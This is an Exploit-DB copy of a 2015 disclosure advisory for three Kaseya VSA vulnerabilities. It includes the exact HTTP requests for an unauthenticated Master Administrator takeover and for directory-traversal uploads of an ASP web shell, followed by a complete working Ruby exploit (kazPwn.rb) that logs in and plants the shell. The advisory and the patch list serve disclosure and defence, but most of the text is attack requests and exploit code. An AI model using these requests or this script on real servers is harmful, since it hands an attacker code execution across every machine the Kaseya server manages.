Kaseya Virtual System Administrator (VSA) – Multiple Vulnerabilities (2)

  • 作者: Pedro Ribeiro
    日期: 2015-09-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38351/
  • Kaseya VSA is an IT management platform for small and medium corporates.
    From its console you can control thousands of computers and mobile
    devices. So that if you own the Kaseya server, you own the organisation.
    With this post I'm also releasing two Metasploit modules ([E1], [E2])
    and a Ruby file ([E3]) that exploit the vulnerabilities described below.
    
    A special thanks to ZDI for assisting with the disclosure of these
    vulnerabilities. The full advisory text is below, but can also be
    obtained from my repo at [E4].
    
    [E1] https://github.com/rapid7/metasploit-framework/pull/6018
    [E2] https://github.com/rapid7/metasploit-framework/pull/6019
    [E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
    [E4]
    https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vs
    a-vuln-2.txt
    
    Regards,
    Pedro
    
    ============
    
    >> Multiple vulnerabilities in Kaseya Virtual System Administrator
    >> Discovered by Pedro Ribeiro (pedrib (at) gmail (dot) com [email concealed]), Agile Information
    Security (http://www.agileinfosec.co.uk/)
    ========================================================================
    ==
    Disclosure: 23/09/2015 / Last updated: 28/09/2015
    
    >> Background on the affected product:
    "Kaseya VSA is an integrated IT Systems Management platform that can be
    leveraged seamlessly across IT disciplines to streamline and automate
    your IT services. Kaseya VSA integrates key management capabilities into
    a single platform. Kaseya VSA makes your IT staff more productive, your
    services more reliable, your systems more secure, and your value easier
    to show."
    
    A special thanks to ZDI for assisting with the vulnerability reporting
    process.
    These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],
    ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.
    
    >> Technical details:
    #1
    Vulnerability: Remote privilege escalation (add Master Administrator
    account - unauthenticated)
    CVE-2015-6922 / ZDI-15-448
    Affected versions:
    VSA Version 7.0.0.0 â?? 7.0.0.32
    VSA Version 8.0.0.0 â?? 8.0.0.22
    VSA Version 9.0.0.0 â?? 9.0.0.18
    VSA Version 9.1.0.0 â?? 9.1.0.8
    
    GET /LocalAuth/setAccount.aspx
    Page will attempt to redirect, ignore this and obtain the "sessionVal"
    value from the page which will be used in the following POST request.
    
    POST /LocalAuth/setAccount.aspx
    sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&conf
    irm=<password>&adminEmail=bla (at) bla (dot) com [email concealed]&setAccount=Create
    
    You are now a Master Administrator and can execute code in all the
    managed desktops and mobile devices.
    A Metasploit module that exploits this vulnerability has been released.
    
    #2
    Vulnerability: Remote code execution via file upload with directory
    traversal (unauthenticated)
    CVE-2015-6922 / ZDI-15-449
    Affected versions:
    VSA Version 7.0.0.0 â?? 7.0.0.32
    VSA Version 8.0.0.0 â?? 8.0.0.22
    VSA Version 9.0.0.0 â?? 9.0.0.18
    VSA Version 9.1.0.0 â?? 9.1.0.8
    
    First we do:
    GET /ConfigTab/serverfiles.asp
    which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>
    Thanks for creating a valid sessionID for us, Kaseya!
    
    POST
    /ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=she
    ll.asp
    Cookie: sessionId=<sessionID>
    <... ASP shell here...>
    
    The path needs to be correct, but Kaseya is helpful enough to let us
    know when a path doesn't exist.
    A Metasploit module that exploits this vulnerability has been released.
    
    #3
    Vulnerability: Remote code execution via file upload with directory
    traversal (authenticated)
    CVE-2015-6589 / ZDI-15-450
    Affected versions:
    VSA Version 7.0.0.0 â?? 7.0.0.32
    VSA Version 8.0.0.0 â?? 8.0.0.22
    VSA Version 9.0.0.0 â?? 9.0.0.18
    VSA Version 9.1.0.0 â?? 9.1.0.8
    
    Login to the VSA console and obtain ReferringWebWindowId from the URL
    (wwid parameter).
    Create a POST request as below with the ReferringWebWindowId:
    
    POST /vsapres/web20/json.ashx HTTP/1.1
    Content-Type: multipart/form-data;
    boundary=---------------------------114052411119142
    Content-Length: 1501
    
    -----------------------------114052411119142
    Content-Disposition: form-data; name="directory"
    
    ../WebPages
    -----------------------------114052411119142
    Content-Disposition: form-data; name="ReferringWebWindowId"
    
    31a5d16a-01b7-4f8d-adca-0b2e70006dfa
    -----------------------------114052411119142
    Content-Disposition: form-data; name="request"
    
    uploadFile
    -----------------------------114052411119142
    Content-Disposition: form-data; name="impinf__uploadfilelocation";
    filename="shell.asp"
    Content-Type: application/octet-stream
    
    <... ASP shell here...>
    
    -----------------------------114052411119142--
    
    A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been
    been released [4].
    
    >> Fix:
    V7 â?? Install patch 7.0.0.33
    R8 â?? Install patch 8.0.0.23
    R9 â?? Install patch 9.0.0.19
    R9.1 â?? Install patch 9.1.0.9
    
    >> References:
    [1] http://zerodayinitiative.com/advisories/ZDI-15-448/
    [2] http://zerodayinitiative.com/advisories/ZDI-15-449/
    [3] http://zerodayinitiative.com/advisories/ZDI-15-450/
    [4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb
    
    ================
    Agile Information Security Limited
    http://www.agileinfosec.co.uk/
    >> Enabling secure digital business >>
    
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1
    
    iQIcBAEBAgAGBQJWCm9DAAoJEOToNW8ubuEaXLAQAIXcXSYwxJ5YLD0eyDxSO8z3
    Vxmzf1jKqCHgTblKfW2+AaAhV7Z6u0fcjw4axV0TiRCUJgp3RANo2DkEjbrP/Pv2
    L4Yk34FM0ijfgg5x6rG7M8496jm91iEYpoYcCpsnqE0ZN1RbQZWmqWjJHpVPcPno
    RgjNV/OHGBzaikj5BV1yaJwT/KpvV0IGUDB54ZPto8lEYtqxfYl4+zg39DQ+GlRy
    OlU+Bovj/n2AiJ52omdm1JJL3DW6rhto8FH7yRUvBeW3ofgdBHwG4Ynxk3gOAhY3
    AvD2uIs5eY5siapb7/kA8RSKKuTUYo/p80hDwhkAzVYwlrkDTl7s9gSPU/KOY04/
    ur64fhC/9TTEMONZ5PQdbrL5WSAVRTdcsCDbZ8YCbZxoexPzObhdV1qV99Go8Ny+
    pd5WCoziQtrK8r2u6v7dsfJfYnvURG7SdcD15e1oIe4OaZzEsXxbcgLEmbskhdOP
    ZmcuzkYqUfpFvaFQ3O8PMtBb8jqpkt76X4Q+0JbVG9nUzwA1nS2xoGw0Ad8NDoUi
    Nw5BxwW4Z7zCSHgBI6CYUTZQ0QvZFVZXOkix6+GnslzDwXu6m1cnY+PXa5K5jJtm
    /BMO8WVUvwPdUAeRMTweggoXOModWC/56BZNgquxTkayz2r9c7AdEr0aZDLYIxr0
    OHLrGsL5XSDW9txZqDl9
    =rF0G
    -----END PGP SIGNATURE-----
    
    
    
    
    
    
    
    
    
    
    #!/usr/bin/ruby
    #
    # kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450)
    # ===================
    # by Pedro Ribeiro <pedrib@gmail.com> / Agile Information Security
    # Disclosure date: 28/09/2015
    #
    # Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>
    #
    # execjs and mechanize gems are required to run this exploit
    #
    # According to Kaseya's advisory, this exploit should work for the following VSA versions:
    # VSA Version 7.0.0.0 – 7.0.0.32
    # VSA Version 8.0.0.0 – 8.0.0.22
    # VSA Version 9.0.0.0 – 9.0.0.18
    # VSA Version 9.1.0.0 – 9.1.0.8
    # This exploit has been tested with v8 and v9.
    #
    # Check out these two companion vulnerabilities, both of which have Metasploit modules:
    # - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
    # - Unauthenticated remoteprivilege escalation (CVE-2015-6922 / ZDI-15-448)
    #
    # This code is released under the GNU General Public License v3
    # http://www.gnu.org/licenses/gpl-3.0.html
    # 
    
    require 'execjs'
    require 'mechanize'
    require 'open-uri'
    require 'uri'
    require 'openssl'
    
    # avoid certificate errors
    OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE 
    I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil
    
    # Fixes a Mechanize bug, see
    # http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/
    class Mechanize::HTTP::Agent
    MAX_RESET_RETRIES = 10
    
    # We need to replace the core Mechanize HTTP method:
    #
    # Mechanize::HTTP::Agent#fetch
    #
    # with a wrapper that handles the infamous "too many connection resets"
    # Mechanize bug that is described here:
    #
    # https://github.com/sparklemotion/mechanize/issues/123
    #
    # The wrapper shuts down the persistent HTTP connection when it fails with
    # this error, and simply tries again. In practice, this only ever needs to
    # be retried once, but I am going to let it retry a few times
    # (MAX_RESET_RETRIES), just in case.
    #
    def fetch_with_retry(
    uri,
    method= :get,
    headers = {},
    params= [],
    referer = current_page,
    redirects = 0
    )
    action= "#{method.to_s.upcase} #{uri.to_s}"
    retry_count = 0
    
    begin
    fetch_without_retry(uri, method, headers, params, referer, redirects)
    rescue Net::HTTP::Persistent::Error => e
    # Pass on any other type of error.
    raise unless e.message =~ /too many connection resets/
    
    # Pass on the error if we've tried too many times.
    if retry_count >= MAX_RESET_RETRIES
    puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}"
    raise
    end
    
    # Otherwise, shutdown the persistent HTTP connection and try again.
    # puts "**** WARN: Mechanize retrying connection reset error: #{action}"
    retry_count += 1
    self.http.shutdown
    retry
    end
    end
    
    # Alias so #fetch actually uses our new #fetch_with_retry to wrap the
    # old one aliased as #fetch_without_retry.
    alias_method :fetch_without_retry, :fetch
    alias_method :fetch, :fetch_with_retry
    end
    
    if ARGV.length < 4
    puts 'Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>'
    exit -1
    end
    
    host = ARGV[0]
    username = ARGV[1]
    password = ARGV[2]
    shell_file = ARGV[3]
    
    login_url = host + '/vsapres/web20/core/login.aspx'
    agent = Mechanize.new
    
    # 1- go to the login URL, get a session cookie and the challenge.
    page = agent.get(login_url)
    login_form = page.forms.first
    challenge = login_form['loginFormControl$ChallengeValueField']
    
    # 2- calculate the password hashes with the challenge
    source = open(host + "/inc/sha256.js").read
    source += open(host + "/inc/coverPass.js").read
    source += open(host + "/inc/coverPass256.js").read
    source += open(host + "/inc/coverData.js").read
    source += open(host + "/inc/passwordHashes.js").read
    source.gsub!(/\<\!--(\s)*\#include.*--\>/, "")# remove any includes, this causes execjs to fail
    context = ExecJS.compile(source)
    hashes = context.call("getHashes",username,password,challenge)
    
    # 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file
    # We need the following input values to login:
    # - __EVENTTARGET (empty)
    # - __EVENTARGUMENT (empty)
    # - __VIEWSTATE (copied from the original GET request)
    # - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty)
    # - __EVENTVALIDATION (copied from the original GET request)
    # - loginFormControl$UsernameTextbox (username)
    # - loginFormControl$PasswordTextbox (empty)
    # - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon")
    # - loginFormControl$SHA1Field (output from getHashes)
    # - loginFormControl$RawSHA1Field (output from getHashes)
    # - loginFormControl$SHA256Field (output from getHashes)
    # - loginFormControl$RawSHA256Field (output from getHashes)
    # - loginFormControl$ChallengeValueField (copied from the original GET request)
    # - loginFormControl$TimezoneOffset ("0")
    # - loginFormControl$ScreenHeight (any value between 800 - 2048)
    # - loginFormControl$ScreenWidth (any value between 800 - 2048)
    login_form['__EVENTTARGET'] = ''
    login_form['__EVENTARGUMENT'] = ''
    login_form['loginFormControl$UsernameTextbox'] = username
    login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash']
    login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash']
    login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash']
    login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash']
    login_form['loginFormControl$TimezoneOffset'] = 0
    login_form['loginFormControl$SubmitButton'] = 'Logon'
    login_form['loginFormControl$screenHeight'] = rand(800..2048)
    login_form['loginFormControl$screenWidth'] = rand(800..2048)
    page = agent.submit(login_form)
    web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId']
    
    # 4- upload the file using the ReferringWebWindowId
    page = agent.post('/vsapres/web20/json.ashx', 
    'directory' => "../WebPages",
    'ReferringWebWindowId' => web_windowId,
    'request' => 'uploadFile',
    'impinf__uploadfilelocation' => File.open(shell_file)
    )
    
    if page.code == "200"
    puts "Shell uploaded, check " + host + "/" + File.basename(shell_file)
    else
    puts "Error occurred, shell was not uploaded correctly..."
    end